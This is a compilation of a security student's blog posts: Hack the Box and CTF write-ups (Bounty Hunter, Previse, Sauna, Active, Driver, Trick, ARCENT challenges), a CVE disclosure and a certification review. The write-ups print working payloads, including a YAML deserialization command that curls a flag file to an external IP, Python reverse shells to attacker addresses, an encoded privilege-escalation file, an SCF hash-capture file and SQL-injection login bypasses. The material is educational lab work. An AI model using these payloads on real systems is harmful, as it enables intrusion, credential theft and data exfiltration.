Unfortunately all we got was ARP packets on our capture, which it turns out was someone trying to ARP poison the network and they ended up sending over 4 GBs of just ARP packets in one day. Insane. From here we decided to go after some of the other points instead. These were all mostly physical challenges. The main one was to steal the baby from the NICU and get out past the door down the hall without tripping the alarms. Inside it was kinda like an escape room. I used a pin we stole from watching people enter and then, once in, locked pick some boxes to find a manual for the safe, which had the default code still active. The hard part though was opening this weird old spinning safe that I hadnt seen in forever and have literally never opened. I got it after a few mintues though and inside was a ID badge that I could login to the computer with and discharge the baby from the room with. With that I was able to remove the monitor from the baby, which is usually a heartbeat monitor but it was a magnet, as the baby is a doll, and cut the zipties holding it together. Now I was able to exit the room with the baby and run for the door but right as I get close it locks. Damn. Turned out there was an ankle monitor on the baby that when it got close to the door, without being discharged through a different portal, would lock the door. I had gotten the baby out of the room though so that was a good amount of points but we wanted the rest for escaping. We actually did escape twice. Once with a member sneaking in and holding the door once I stole the baby and once by a team member timing the reset correctly to escape after the baby had tripped the alert earlier. Both times we were denied points though because we needed to do it though "cyber" means. After all this we placed 3rd out of the red teams but we did learn a ton and I found a renewed passion for red teaming and new passion for malware development. Thanks for reading! # Booked v2.5.5/LabArchives Scheduler Vulnerability My first CVE? CVE-2023-24058 Hey you hackers, I think I finally found my first CVE. It is a simple one but a new one none the less. This vulnerability in Booked Scheduler, tested on version 2.5.5 and the latest version of LabArchives Schedule, allows for authenticated users to create and schedule events for any other user as long as they have their user ID. To do this it is as simple as changing the user ID in the HTTP POST request being sent to 'reservation\_save.php':
My user ID is not 3 but 159 but changing the request UserId value to 3 created a reservation for the user with ID 3 and this is reflected when you go view the calendar page and see an event under that user name at the time and date specified. This has been marked as [CVE-2023-24058](https://www.cve.org/CVERecord?id=CVE-2023-24058). # CTF Writ3ups Checkout my CTF writeups {% embed url="" %} # ARCENT Best Cyber Warrior 2023 Quick challenge writeups for the CTF to explain exploitation. ### CyberCompose Vulnerable to [https://www.rapid7.com/db/modules/exploit/multi/fileformat/nodejs\_js\_yaml\_load\_code\_exec/\ Rapid7]() Payload: ```yaml !!python/object/apply:os.popen ['curl -X POST http://159.223.147.201/ --data "$(cat /app/RanDomflagN4m3.txt)"'] ``` ### Confuser Vulnerable to ### Intruder * Got SSRF using * It was a hassle setting up my own https server for it and couldn't use self signed certs because it did not have insecure option enabled on the vulnerable webserver. * Was able to get YAML deserialization with this php redirect to get the SSRF and exploit working: ```php ``` ### S7R34M5 ```python from scapy.all import * import sys #take in file name from argument file = sys.argv[1] #open file f = open(file, "r") # Define the source and destination IP addresses source_ip = "192.168.245.129" destination_ip = "192.168.1.7" # Define an array to store the data bytes data_array = [] packets = rdpcap(file) def process_packet(packet): # find all UDP packets from 192.168.245.129 to 192.168.1.7 and get the data byte and add to array and print array if packet.haslayer(IP) and packet.haslayer(UDP) and packet[IP].src == source_ip and packet[IP].dst == destination_ip: data = packet[Raw].load data_array.append(data) # Process each packet in the pcap file for packet in packets: process_packet(packet) # merge the array and print data = b''.join(data_array) print(str(data, 'utf-8')) ``` ### LeakyPond #### Initial Access Path traversal: `/vendor/nuovo/spreadsheet-reader/test.php?File=../../../../../../../../../../../var/www/html/debugger_infra-temp.php` Debug was still enabled and would execute system on the debug cookie value. RCE: ``` GET /index.php?debug_infra=1 HTTP/1.1 Host: wcom5p6v45jax3g1w93xkxdt7vr86dv91gp0c43l-web.cybertalentslabs.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br DNT: 1 Connection: close Cookie: debug=ls Upgrade-Insecure-Requests: 1 Sec-GPC: 1 X-PwnFox-Color: blue ``` Used Ivan Sincek PHP reverse shell for more stable environment. #### Priv Esc ``` $ echo "JSBjb21iaW5lcyBzaGVsbCBleGVjdXRpb24gd2l0aCBmaWxlIHJlYWRpbmcKJSB0byBnZXQgc29tZXRoaW5nIGxpa2UgYW4gaW50ZXJhY3RpdmUgc2hlbGwKIyhkZWZpbmUgcyAiIikKIyhzeXN0ZW0gImNhdCAvcm9vdC9mbGFnKiA+IC90bXAvZmxhZ3oiKQojKGxldCogICgoZiAob3Blbi1pbnB1dC1maWxlICIvdG1wL3F3ZXJ0eWFzZGYiKSkKICAgICAgICAoYyAjXHNwYWNlKSkKICAod2hpbGUgKG5vdCAoZW9mLW9iamVjdD8gYykpCiAgKHNldCEgcyAoc3RyaW5nLWFwcGVuZCBzIChzdHJpbmcgYykpKQogIChzZXQhIGMgKHJlYWQtY2hhciBmKSkpKQpcbmV3IFN0YWZmIDw8e2deI3MKfT4+" | base64 -d > test.ly $ sudo /opt/lilypond/bin/lilypond test.ly Processing `test.ly' Parsing... test.ly:1: warning: no \version statement found, please add \version "2.23.82" for future compatibility Interpreting music... Preprocessing graphical objects... Finding the ideal number of pages... Fitting music on 1 page... Drawing systems... Converting to `test.pdf'... Success: compilation successfully completed $ ls flagz qwertyasdf test.ly test.pdf $ cat flagz flag{ZAE324RTHJNBVCXWQZ34568UHBVCX} $ ``` ### SayingPlease Simply change the base64 encoded authentication token from user to admin and the index.php page will display the flag. # Bounty Hunter Writeup Hack the Box Bounty Hunter writeup ![](/files/mhMCLukpXrAd33JqtHVr) Right off the bat we want to start with an nmap scan to get a sense of what services are running on this box. To do this we run our trusty -sV -sC options to use default scripts and identify versions of services. ![](/files/HvKSDYXFmIfYgvsE5U42) Almost immediately we get feedback from nmap saying it can't tell if the box is up because it is blocking our ping probes. I immediately went back to HTB to make sure I was connected and the box was for sure up and running. After confirming this I ran nmap with the added -Pn that is recommended to mark the host as up. ![](/files/LjuKB0vZa0tjFTpueFYL) After letting this scan run for a few seconds we get these results back. There are a good number of ports here but the main ones we want to look at are the ones marked as open. We can see port 22 open for OpenSSH version 8.2p1, which is a secure version. All we can do with this service is brute force the usernames and passwords so we will save that for later and continue looking around. The other open port is port 80 which is being used by an Apache http server. This is very interesting and something we definitely should look at. First I fired up dirbuster and set it running then I opened up Firefox and plugged in the IP and was greeted with the homepage: ![](/files/6xDofj7mGehmHzA0p6Jj) Doing some manual poking around we can find a contact form at the bottom of this homepage. Great! Some user input! Not so fast. It doesn't function and doesn't even send a POST request back to the server. After some more poking around we find /portal.php, which is linked in the top right of the homepage. ![](/files/KJXHLvZILCDuzBppHXP0) As you can see, the portal is under development and there is a link to another form that we can "test". This is a telltale sign that the form being linked probably hasnt been vetted very well yet. Lets check it out. ![](/files/KZm9NYVRzXI8MyPMUD3R) Looks like a simple form. Lets check if its connected to anything. Opening developer tools we can choose the network tab and view any traffic being sent to and from our browser. I just filled out the form with some random variables just to test it out and clicked submit... ![](/files/SMnObzoLYdMgJFnuRVcH) It is connected! Now that is definitely not plaintext being sent to the server so lets figure out how the data is being encoded and what format its being put into. To do this I copied the data into a tool call [CyberChef](https://gchq.github.io/CyberChef/). In CyberChef I tinkered around with a few options to see what I could decode. The first, and most obvious, is that it needs to be URL decoded. The signs for this is that special characters are encoded with %xx, an example is '+' becomes '%2B'. After getting it into the right format I put the next piece of the puzzle together and added base64 decode which allowed me to see the data in plaintext. ![](/files/fKiJM4N0b75o8CnOYDTt) In the output section we can see that the data is being sent in xml formatting. This is interesting because there is a well known exploit that we can try using this formatting called [XXE](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_\(XXE\)_Processing). Lets try out putting some commands into the data and re sending the request. For reference here is the payload I created: ![](/files/9wpITWDNgIivFfiW3jLh) If you 'edit and resend' the request we orginally got the encoded data from we can replace the data with the new data we created and send it. What we want to see returned is the content of /etc/passwd. ![](/files/kfJJfNLpCXVkrJgB6rFz) BOOM! We get the contents of /etc/passwd printed out. Lets have a look around and see what files we can read and get info from. After trying to get some data like root.txt or config files I have nothing and am stuck. I know I am supposed to use this to get some set of credentials or a hint to what to do next. I looked over at dirbuster, which was still running, and saw there was a db.php. I tried to load it in my browser but got nothing back. There had to be something interesting on the backend though so lets try to grab it with the XXE vulnerability we found. requesting the contents of the file I got back a different response than the ones I didnt have permssion to review. This suggested I should be able to get the contents but something was restricting it from printing it out on the webpage. A trick we could try from here is to try to encode it as base64 and have that print out instead. To do this I switched: ``` ]> ``` To: ``` ]> ``` I plugged it in and pressed send... ![](/files/hzSfYbJncTaFmp0jCIU6) Success! We got a base64 encoded return. Lets see what it says. The decoded result is: ``` Implement login system with the database. $dbserver = "localhost"; $dbname = "bounty"; $dbusername = "admin"; $dbpassword = "m19RoAU0hP41A1sTsq6K"; $testuser = "test"; ?> ``` We got creds! Now what can we use them for? Well there was an ssh server in the nmap scan we ran earlier so lets see if the creds are the same. I tried logging in with admin as the username, no success. What about test? Nope. Bounty? Again no. So what could the username be? Luckily I was keeping note of the data I was getting and realized I had gotten the passwd file contents earlier and I could see the users on the device from that. Looking at it we can see there is a user named 'development'. I tried that username with the password found in the db.php file and BAM! We got a shell. From this user we get the user flag and can submit that. In the users home directory is another file along with the flag though called contract.txt. ![](/files/8W3bqnoTqoyGTOZcY0uq) As you can see, the file contains a note from 'John' saying that he setup permissions for this user to figure out why certain tickets have been failing validation. Lets see what type of permissions... Running 'sudo -l' we get back: > User development may run the following commands on bountyhunter: (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain\_inc/ticketValidator.py Looks like we have root permissions, without a password, to run a python script. This is an easy priv esc if we can write to the python script so lets go check it out. ![](/files/IzoYcbjdp6dntWhIxFYG) Checking the permissions it looks like we don't have write permissions for this file, damn. But we can read it, so lets see what it is doing and if we can manipulate it another way. Reading through it looks like it takes in a MD file and evaluates if its a valid ticket or not. Because it takes in input lets see if we can trick it into executing something as root. Looking through the script there seems to only be one exploitable section and its the eval function: ``` if code_line and i == code_line: if not x.startswith("**"): return False ticketCode = x.replace("**", "").split("+")[0] if int(ticketCode) % 7 == 4: validationNumber = eval(x.replace("**", "")) if validationNumber > 100: return True else: return False ``` To get to this function we are going to have to format a ticket correctly so it reaches the initial if statement, passes that, then the next line has to start with '\*\*' and the integer following this had to have a modulo of 4. Using this info and some of the example invalid tickets that are in the folder in the same directory we can create our own ticket with our own command to execute. Mine looked like this: ``` # Skytrain Inc ## Ticket to test __Ticket Code:__ **102+ 10 == 112 and exec('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")') ``` I have it sending a shell back to me via python. Now all I should have to do is setup a listener with nc and execute the python script as root with the MD file I made as the input. ![](/files/fRzR7vFxJIZQIGjNl9eV) PWNED! GG HTB # Previse Writeup Hack the Box Previse Writeup ![](/files/M74PGOZbMs9yxQ7ZvEUY) We start off this box, as always, with an nmap scan. We use -sV -sC for default scripts and version information. ![](/files/TAiKp1u7VCDXI7XWznQd) Not many services running on this box it seems. We have an SSH port that we could possibly bruteforce if needed and an Apache webserver running on port 80. Of course we have to go investigate that. Plugging in the IP into our browser we are redirected to a login page. ![](/files/yASzAkU2GH7urPDq3sML) Trying some basic SQL injection tricks doesn't get me anywhere so time to fire up dirbuster to see if there are any directories hidden from us. ![](/files/lnZIpWYPZ6twZDgqbvWz) Right away we get quite a few hits. A lot of the juicy directories seem to be 302 redirects though. Luckily for us there might be a way we can work around it. A while back I learned a trick where you can replace response headers and get around a redirect using BurpSuite. So lets give that a shot. Firing up Burp we start a temporary project and head over to the proxy tab. In here I am going to go over to options and down to the match and replace section. Here I add a rule to replace all '302 Found' with '200 OK' from the response headers going through Burp's proxy. It should look like this: ![](/files/Z8gQaOBosVnjOijJdWOp) Once this is setup we go over to our browser and turn on the Burp proxy. For the first page lets try to reach accounts.php which seems juicy and provided a 302 response to dirbuster. I plug it in to the browser and we see burp light up. Just click forward and BAM, here we are on the accounts page! ![](/files/hxjK3mdzJd5wTjPBWplz) It even says all in red that only admins should be on this page. Perfect! So what does this homepage have to offer us? Well we can see that we can add a new account, probably for that login page. We also see there is an accounts tab, a files tab, and a management menu tab. First lets get an account on the system and see what we can do. Once we create an account and login we are greeted with the homepage. ![](/files/rkfTYdfrBQKhgCjyaIN1) This is a file hosting platform. Interesting... This probably means there's some interesting stuff in the files tab so lets head over there. Upon loading up the page we can see there's a site backup zip file. After downloading and opening it we can see it contains all the back end parts of the website. This is huge! We can use this find potential vulnerabilities in the website and then exploit them. ![](/files/xzF41MSI5YQDFJuAG8gf) Taking some time to read through each of the files is the most important thing now. Here are my notes from this: * mySQL DB password for root in config.php * SQLi through uploaded filename? Didn't work * Comment in logs.php about python instead of PHP \[RED FLAG] From my last note you can get where we wanna look first. Looking through logs.php you can see this line right here: ``` $output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}"); ``` Big red flag. This exec function is running a python script along with our raw, unfiltered input. This input being the delim value. It looks to me like we can get this to execute out own commands for us and maybe get a reverse shell back. Using [revshells](https://blog.smithsecurity.biz/www.revshells.com) I created a python payload to send. Here is the complete payload being sent in the request body to the log.php page: ``` delim=comma export RHOST="10.10.14.23";export RPORT=9001;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")' ``` Once I sent this I immediately got a shell back! ![](/files/Ocl2dj2Og3LIVzn8A4Uy) Once I got that shell I looked around a bit. Didn't seem like I had access to much. Now if you look back in my notes above you see that we found a mysql database password. That was my next move. Lets take a peek into that. Logging in using root and the password we found we can see that there is a database called 'previse'. Inside this we see there are two tables, accounts and files. Accounts is the more interesting so we ask it to describe the accounts table and see there are usernames and passwords. I ask it to print those out for us and we get: ![](/files/mES1s5LxxvdLzJpjGkaB) We have my account that I created to login tot he page along with the owners account and hashed password. Hmm, could we crack it? Looking at the hash it seems to be an MD5 hash but to figure out which type we are looking to crack we can checkout the [hashcat example hashes](https://hashcat.net/wiki/doku.php?id=example_hashes). Looks like a 500 to me. ![](/files/nJXwBXPYTyhBtObqv5fd) After letting hashcat rip for less than a second it finds the password. Using this we can maybe see if the same user on the webserver has reused this password. ![](/files/AL7Rq2fIU2J2lQoRpRI1) It worked! We got the user flag but now to root the box. From running 'sudo -l' we get back this: ``` User m4lwhere may run the following commands on previse: (root) /opt/scripts/access_backup.sh ``` Lets go investigate this access\_backup script. Unfortunately the script is read only but in it that binaries are called directly. This means that it could be vulnerable to path injection. To get this to work we need to create a script named gzip for it to run instead of the orginial gzip binary. To do this I created a gzip file in /tmp and in it I have a reverse shell that will call back to me when run. I then edited the system path variable to have it search for the binary being run in /tmp along with everywhere else. Because I appeded the tmp directory to the left side of the variable it will be run first because it reads left to right. Now all that's left to do is run it and hope for the best... ![](/files/XMrfpcdb8PI1WwrwQ0ZF) ### PWNED! # eJPT certification Review eLearnSecurity Junior Penetration Tester review ![](/files/p25WnK0pXRZvqz90ju4K) In this post I'll cover my thoughts on the eJPT certification. I took the eJPT exam recently because it was recommended by a fellow student to help prep for the OSCP exam and get a foot in the door with an entry level certification for pen testing. To cover my thoughts on this l'll go over three sections: The prep, practice labs, and the exam itself. ## Prep To prepare for the course I used INE's free starter pass which gave me access to the Penetration Testing Student course. This course consists of four sections as seen in the picture below. ![](/files/CaHTHdgpp50L3lV889Be) Because I had some experience in programming and pen testing I skipped the first two sections and went into Penetration Testing Basics. Throughout this course I was able to get some really good tips and tricks and learn in-depth about some of the techniques I was using. Some of the topics covered were: subnet enumeration, ARP poisoning, SMB shares, Shells, backdoors, and various web vulnerabilities. Though not all of these are used on the exam it was a great course that covered a lot of content, and its completely free. Throughout this course you complete multiple labs as well, these labs will cover specific areas, such as ARP poisoning and BurpSuite usage, until you reach the end where you have three Black Box Labs. ## The Practice Labs Throughout the course the labs you get access to are great and there is even a beta feature where you can control a Kali VM through your browser that they host, making setting up for labs much easier. While each of the labs is focused on a specific are the final three labs, the Black Boxes, are more like Hack the Box machines. These you are just given an IP and told to go. These were not particularly hard labs but they were harder than the exam boxes that you are given access to. They are great practice and its worth going through them for practice even if some of the content is not on the exam. Following completing these labs is when I started my exam. ## The Exam It is well known that the exam is a corporate network that you start inside of. There is no need to break in to gain internal access as it is given through your VPN connection. The network is over OpenVPN so make sure you know how to setup the connection before hand when you start. Once you do start you are given a packet that covers the scope of the exam and any details you might need. You are also given a packet capture that you will use as part of the exam, you don't need to have in-depth knowledge of how to read it but know how a network works and generally whats going on with that capture. Once you receive those items you are also given access to the online quiz which is the graded portion of the exam. This quiz covers knowledge that you could only get by breaking into the machines on the network. This quiz can also give you hints of what you are looking for if you read the questions. Though the course and labs teach you most of what you need to know before the exam there are two pieces of information I was missing: Identifying routers, and knowing how to route through a router to another network. Make sure you know how to identify the routers because nmap will not be much help with that, and as for routing, use this command: ``` ip route add 10.x.x.0/24 via 192.168.x.x ``` ## Conclusion Overall I think this is an amazing starter certification and I have heard other industry experts say the same. It is great prep for the OSCP and is also that foot in the door that you need, as well as being cheap, at $200 for two exam attempts. The only con is that it is not very well known and most people dont know what it consists of. Compared to a cert like CEH or Sec+ it can't do much even though you need more practical knowledge to complete the eJPT than the CEH exam. My recommended cert pathway from here is: Sec+, Pentest+, GPEN, OSCP, CISSP. In that order. # Sauna Writeup Hack the Box Sauna Writeup ![](/files/ZdgOHPYZSvmIdayIB1E6) Lets start with an nmap scan :) ![](/files/NH9Qzcu60AOraLI2Diwc) ``` Nmap scan report for 10.129.95.180 Host is up (0.085s latency). Not shown: 988 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 |_http-title: Egotistical Bank :: Home | http-methods: |_ Potentially risky methods: TRACE 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-05-29 09:31:42Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: 7h00m01s | smb2-time: | date: 2022-05-29T09:31:49 |_ start_date: N/A | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required ``` We can see right away that there are a good amount of ports open with only a few being interesting. The first I saw was port 80, http, being open. Was this going to be a web challenge for a foothold? I also saw 445 and 139 were open, so some SMB enumeration was in store as well. We can also see that this is probably a domain controller because of AD LDAP running and Kerberos. I started by looking at the website but got nowhere with that after being stuck for a while. I switched gears and tried to get some info from LDAP where I gathered some vital information for the next phase. ``` ldapsearch -x -h 10.129.95.180 -s base namingcontexts namingcontexts: DC=EGOTISTICAL-BANK,DC=LOCAL ``` This allowed me to run kerbrute on the box and get some usernames that I can leverage to try to get access. ``` ./kerbrute userenum -d EGOTISTICAL-BANK.LOCAL /home/grant/ctf/SecLists-master/Usernames/xato-net-10-million-usernames.txt --dc 10.129.95.180 2022/05/28 20:31:17 > [+] VALID USERNAME: administrator@EGOTISTICAL-BANK.LOCAL 2022/05/28 20:32:40 > [+] VALID USERNAME: hsmith@EGOTISTICAL-BANK.LOCAL 2022/05/28 20:33:38 > [+] VALID USERNAME: fsmith@EGOTISTICAL-BANK.LOCAL ``` We can try a few things with these usernames we now have and the first that comes to mind, because I did it on another box recently, was AS-REP roasting. This is where we try to see which accounts don't have Kerberos preauthentication required and then grab the ticket from them and crack it offline. To do this I'm using the handy dandy impacket repo, as all good infosec professionals do. ![](/files/aqdrNvK43ub2YuZLYj2d) After trying each account we got a hit on fsmith! Now to crack it... ![](/files/reYTNxxjomdD6aA4sO83) And there it is. fsmith's password is 'Thestrokes23'. Login in with evil-winrm we can grab user.txt now. Onto the priv esc... Using this info I immediately thought of the boxes name and went to Kerberoasting and I think it should have worked...should have. ![](/files/DWBmAO3IVqyLX55kwNbM) I kept getting this error about the clock skew being too great. I tried everything I could to fix it. I ran 'ntpdate 10.129.95.180' and a bunch of other junk but none of it worked. I felt like this box just didn't work anymore and I wouldn't be able to solve it. I went and took a break and came back ready to try another route. This time I started doing some deeper enumeration. Using this great blog I found about stored credentials, [linked here](https://pentestlab.blog/2017/04/19/stored-credentials/), I found something... ![](/files/3Qeuy2352ZSTUtchYdtH) In this we can see the default password for svc\_loanmanager*, or as I found out later after some trial and error,* svc\_loanmgr. We login as this new user we have access to and I do some more searching, finding nothing of use. I then made a transition to different tool... I used sharphound to grab the data I needed and plugged it into bloodhound for analysis. After looking through I could see that we needed to do a DCSync attack. We already had the right privileges with svc\_loanmgr so all we needed to do was just run secretsdump.py, another impacket tool. ![](/files/snhlyDpzfaXmHGLzaIRQ) We had the Administrator hash!! Lets go crack it. Oh wait... Its not in my wordlists? Welp maybe that's not the way. After some fiddling around I tried passing the hash using crackmapexec. Boom it worked. Now all I had to do was grab the flag. ![](/files/Uo9e1oDL9OlnCaNdshAK) PWNED!! # Active Writeup Hack the Box Active Writeup ![](/files/dIKkjgtZKxPZaD57sVuk) We started off with the usual nmap scan using: ``` nmap -sV -sC 10.129.227.160 > notes ``` Once this completes and we open our notes we can see that there are a whole lot of ports open. Does this mean we go check every single one? Hell no. Lets look and see what the ports are for and we can see how they are working together. ``` Nmap scan report for 10.129.227.160 Host is up (0.086s latency). Not shown: 982 closed tcp ports (reset) PORT STATE SERVICE VERSION 53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1) | dns-nsid: |_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39) 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-05-29 00:10:33Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49158/tcp open msrpc Microsoft Windows RPC 49165/tcp open msrpc Microsoft Windows RPC Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 2.1: |_ Message signing enabled and required | smb2-time: | date: 2022-05-29T00:11:32 |_ start_date: 2022-05-29T00:09:00 ``` We can see that this is a Windows Server 2008 machine and it has SMB, ports 445 and 139 are open. We can also see that it is probably a domain controller because it has AD LDAP running along with Kerberos, AD's authentication ticketing system. So we know its Windows so we can't approach it the same way we would a Linux machine. To enumerate some more lets run enum4linux. After running this we can see that there are a few shares that are up, after testing for NULL sessions we know that we only have access to one share, Replication. ![](/files/yDrsLqvA21Q6xyTGVKcv) Because there was a bunch of random directories and files in this share I went ahead and downloaded them all using this one-liner: ``` smbclient '\\10.129.227.160\Replication' -N -c 'prompt OFF;recurse ON;cd 'active.htb\';lcd '';mget *' ``` After looking through a bit we can see there is interesting data in 'active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml' ``` ``` In this we can see that this contains a username for an account on the box plus a variable called cpassword. After some research we can see that its a Group Policy Preference file and cpassword can be decrypted very easily by a tool called gpp-decrypt, its built into Parrot and Kali OSs. After running: ![](/files/KlKRl5TOjY12N1tFOpxP) We get the password 'GPPstillStandingStrong2k18'. Lets use it to try to connect to other shares...Bingo. We now have access to the Users share. ``` smbclient //10.129.227.160/Users -U active.htb\\SVC_TGS%GPPstillStandingStrong2k18 ``` We can get the user.txt file from here. Side Note: I couldn't get the user.txt file for some reason with smbclient so I ended up using smbmap to grab it. Ok so back on track now. We need to get Administrator now. After running through a few possible options I realized we are going to need to utilize kerberoasting to get the Administrator account. For this we are going to use the all might impacket repo. GetUserSPNs.py to be exact. With this we are going to try to grab the Administrator ticket and crack it with Hashcat. ![](/files/hzRMFVLdcDIG8YD3hiLT) YES!! Now that we got the Administrator ticket saved we are going to run Hashcat and crack it open like an egg. ![](/files/M4TbJFZWdvcig6iEAsJ6) And bingo. The password is 'Ticketmaster1968'. Now we can just login and grab the root.txt file and we are done. PWNED!! # Driver Writeup Hack the Box Driver machine writeup ![](/files/FOzVgaI6DauAYnynT8A0) OK, so I am really excited for this one. Windows machines are not my forte and so I learned a lot from this box. So without further ado lets dive in. I started this as any good script kiddie would, with a loud nmap scan. ![](/files/WwIloLWOW4lMkFPdD7iE) As you can see from the screenshot, we have three open ports found. With seeing ports 135 and 445 open we can already be almost positive it is an SMB share, and nmap confirms this for us. We also see port 80 open for an HTTP server. That catches my attention as the most likely avenue of approach so lets pay this website a visit. ![](/files/tW8R1zm7GHlW7siZBwmL) We are immediately greeted by a request for a username and password. Luckily it asks us to provide the password for "admin" so we have the username. Now what could the password be? We could bruteforce it... or we could just try "admin" as the password like I did and it just happened to work, and boom we are in. ![](/files/eoVZmhOb6EEugUPOmrJl) We reach the home page of the website once it loads up. From the image and the brief description of the company we get a sense that they do printer driver work. Exploring the website a little more we find the firmware updates page which actually allows us to upload a file and says they will "review the uploads manually and initiate the testing soon." Perfect maybe we could get them to run a simple msfvenom generated reverse shell. Well to keep you from wasting your time messing around trying to get that to work I will just tell you it doesn't. So where do we go from here? Well there happens to be a teqnique I learned about from some of the cyber club members on campus where you get the user, on the same network as you, to open a SCF (Shell Command File) while you run a tool called Responder on your end and the user will try to authenticate to your own device with their username and password. To get a little more into the weeds of this, during the authentication process a random 8 byte challange key is sent from the user to your device and the hashed NTLM password is encrypted again with this challange key. Responder captures the NTLMv2 hash from this. So here what the SCF file should look like: ``` [Shell] Command=2 IconFile=\\\share\icon.ico [Taskbar] Command=ToggleDesktop ``` Once we have that crafted lets setup Responder to capture the hash once we upload the file. To do this we use these options: ``` sudo responder -wrf --lm -v -I tun0 ``` Please replace the network interface with whatever interface you are using to connect to the HTB platform. Once you run that you should get output looking like this: ![](/files/rnfdYkQPPjyF1gaOSSdR) Now all we have to do is upload the SCF file. A few seconds after we get some output from Responder, and it looks like the NTLMv2 hash for a user called "tony". ![](/files/vwnoFLvTHzVe6TbYgCuu) So now lets get this hash cracked. Most HTB hashes are on rockyou so we are going to be using that as our wordlist for hashcat. For hashcat we are going to be specifying that the hash is 5600, which is hashcat's way of knowing its NTLMv2. Within a few seconds of running hashcat we get the password. You can see it here circled in red. ![](/files/5VaPPSZkop09AY3rOBmx) UNFINISHED # Trick Writeup Hack the Box Trick machine writeup
Hello, and welcome back. After a long break from writing up Hack the Box machines, mostly because of school, I have returned. For this one we are going to be covering the Trick machine. Now, as always, we start with a simple nmap scan of the machine: 
$ nmap -sV -sC -v 10.10.11.166
...
Nmap scan report for 10.10.11.166
Host is up (0.022s latency).
Not shown: 996 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
|   256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_  256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open  smtp    Postfix smtpd
|_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, 
53/tcp open  domain  ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid: 
|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
Service Info: Host:  debian.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel
With these results we can see something interesting, the machine has DNS setup on it. Strange but right off the bat, before even visiting the site on port 80, I tried a DNS zone transfer on the machine... and it worked!

Hack the Box machine domain names are always <machineName>.htb

We can see that we have a new subdomain here, preprod-payroll.trick.htb, without even having to bruteforce it. Now it was time to actually check out the website. I went ahead and checked just the default site first to see what it was.

The website homepage

There wasn't much here. The form didn't do anything and there were no additional directories that could be found with feroxbuster. This meant it was time for me to move on for now and check out this subdomain we had found.

The preprod-payroll subdomain login page

Once on the site we are taken to a login page, shown above. Interesting, this login page is actually interacting with something on the backend because we can see our requests going through Burpsuite. Just out of habit I put in the classic SQL injection syntax to bypass login forms: `' or 1=1 --` And it worked! It just logged me right it. I think the challenge author was showing why you should not expose preprod, or pre-production, applications to the internet that have not gone through any vetting or testing process yet. Along with this SQL injection vulnerability I was able to find that you can bypass the login page if you call the dashboard directly and ignore the HTTP 302 redirect code. This can be done automatically in Burpsuite using this match and replace rule:

Burpsuite match and replace rule to bypass 302 redirect

Well, now with two ways into the system, but only one getting us in authenticated (the SQLi) I was able to see what we now had access to.

The dashboard for preprod-payroll

This dashboard had a few interesting features and some XSS vulnerabilities:

